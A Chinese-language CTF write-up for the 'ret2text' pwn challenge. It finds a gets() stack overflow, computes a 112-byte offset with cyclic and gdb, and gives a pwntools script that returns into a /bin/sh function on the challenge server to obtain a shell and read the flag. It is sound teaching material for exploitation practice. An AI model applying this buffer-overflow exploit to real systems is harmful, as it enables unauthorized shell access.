PWN ret2text
题目链接:ret2text
参考博客:CTF Wiki 基本 ROP
参考视频:【CTF】Linux PWN入门 Bamboofox社课系列
0x01
下载ret2text文件,复制到 翔哥的van美pwn机 中
查看保护机制
Arch: i386-32-little //文件为32位程序
RELRO: Partial RELRO
Stack: No canary found //未开启canary保护
NX: NX enabled //开启了栈不可执行保护
PIE: No PIE (0x8048000) //未开启地址无关可执行
0x02
查看到文件为32位,拖入32位IDA中
找到main函数
发现有gets,那么肯定有栈溢出漏洞。
继续查找文件,发现secure,其中有/bin/sh
按shift后再按空格找到secure的地址
这个地址中的任意一个就行了
先写一部分脚本
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = + p32(success_addr)
io.sendline(payload)
io.interactive()
0x03
找到需要返回的地址后,我们要寻找偏移量了。
使用cyclic生成字符队列
使用gdb工具,打开ret2text
run运行
输入刚刚生成的字符串
找到invalid address 0x62616164
使用cyclic -l 计算字符串偏移量
发现偏移了112位
0x04
找到偏移量和返回的地址直接写脚本
from pwn import *
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = 'a' * 112 + p32(success_addr)
io.sendline(payload)
io.interactive()
打开终端运行脚本
成功连接
使用ls查看目录
发现flag
直接cat flag
拿下!